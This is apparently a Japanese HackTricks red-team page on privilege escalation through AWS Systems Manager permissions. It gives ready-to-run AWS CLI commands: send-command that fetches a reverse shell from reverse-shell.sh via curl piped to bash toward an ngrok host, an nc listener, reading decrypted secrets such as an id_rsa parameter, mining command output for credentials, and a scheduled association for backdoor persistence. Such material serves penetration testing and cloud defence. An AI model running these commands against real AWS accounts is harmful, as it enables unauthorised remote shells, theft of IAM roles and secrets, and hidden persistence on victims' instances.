AWS - SSM Privesc

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SSM

SSMに関する詳細情報は、以下を確認してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスでコマンドを実行し、その中で実行されているIAMロールを危険にさらすことができます。

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

この技術を使用して、すでに侵害されたEC2インスタンス内で特権を昇格させる場合は、次のコマンドでローカルにリバースシェルをキャプチャできます:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在的な影響: SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。

ssm:StartSession

ssm:StartSession の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスでSSHのようなセッションを開始し、その中で実行されているIAMロールを侵害することができます。

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

セッションを開始するには、SessionManagerPluginがインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

潜在的な影響: SSMエージェントが実行されているインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。

ECSへの権限昇格

ECSタスクが**ExecuteCommandを有効にして実行されると、十分な権限を持つユーザーはecs execute-commandを使用してコンテナ内でコマンドを実行できます。
ドキュメントによると、これは“exec”コマンドを開始するために使用するデバイスと、SSMセッションマネージャーを使用したターゲットコンテナとの間に安全なチャネルを作成することによって行われます。(これが機能するためにはSSMセッションマネージャープラグインが必要です)
したがって、ssm:StartSessionを持つユーザーは、そのオプションを有効にしてECSタスク内で
シェルを取得**できるようになります。

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

潜在的な影響: ExecuteCommandが有効な実行中のタスクに添付されたECS IAMロールへの直接的な権限昇格。

ssm:ResumeSession

ssm:ResumeSessionの権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで切断されたSSMセッション状態のSSHのようなセッションを再開始し、その中で実行されているIAMロールを侵害することができます。

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在的な影響: SSMエージェントが実行されている実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格と切断されたセッション。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

言及された権限を持つ攻撃者は、SSMパラメータをリストし、平文で読むことができるようになります。これらのパラメータには、SSHキーやAPIキーなどの機密情報が頻繁に見つかることがあります。

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

潜在的な影響: パラメータ内の機密情報を見つける。

ssm:ListCommands

この権限を持つ攻撃者は、送信されたすべてのコマンドをリストし、そこに機密情報が含まれていることを期待できます。

aws ssm list-commands

潜在的な影響: コマンドライン内の機密情報を見つける。

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

これらの権限を持つ攻撃者は、送信されたすべてのコマンドをリストし、生成された出力を読み取ることができ、そこに機密情報が見つかることを期待します。

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

潜在的な影響: コマンドラインの出力内に機密情報を見つける。

ssm:CreateAssociationの使用

ssm:CreateAssociation の権限を持つ攻撃者は、SSMによって管理されているEC2インスタンスでコマンドを自動的に実行するためのState Manager Associationを作成できます。これらのアソシエーションは固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのような持続性に適しています。

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

この永続性の方法は、EC2インスタンスがSystems Managerによって管理され、SSMエージェントが実行中であり、攻撃者が関連付けを作成する権限を持っている限り機能します。インタラクティブセッションや明示的なssm:SendCommand権限は必要ありません。重要: --schedule-expressionパラメータ(例: rate(30 minutes))は、AWSの最小間隔である30分を尊重する必要があります。即時または一度限りの実行の場合は、--schedule-expressionを完全に省略してください — 関連付けは作成後に一度実行されます。

Codebuild

SSMを使用して、ビルド中のcodebuildプロジェクトにアクセスすることもできます:

AWS - Codebuild Privesc

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする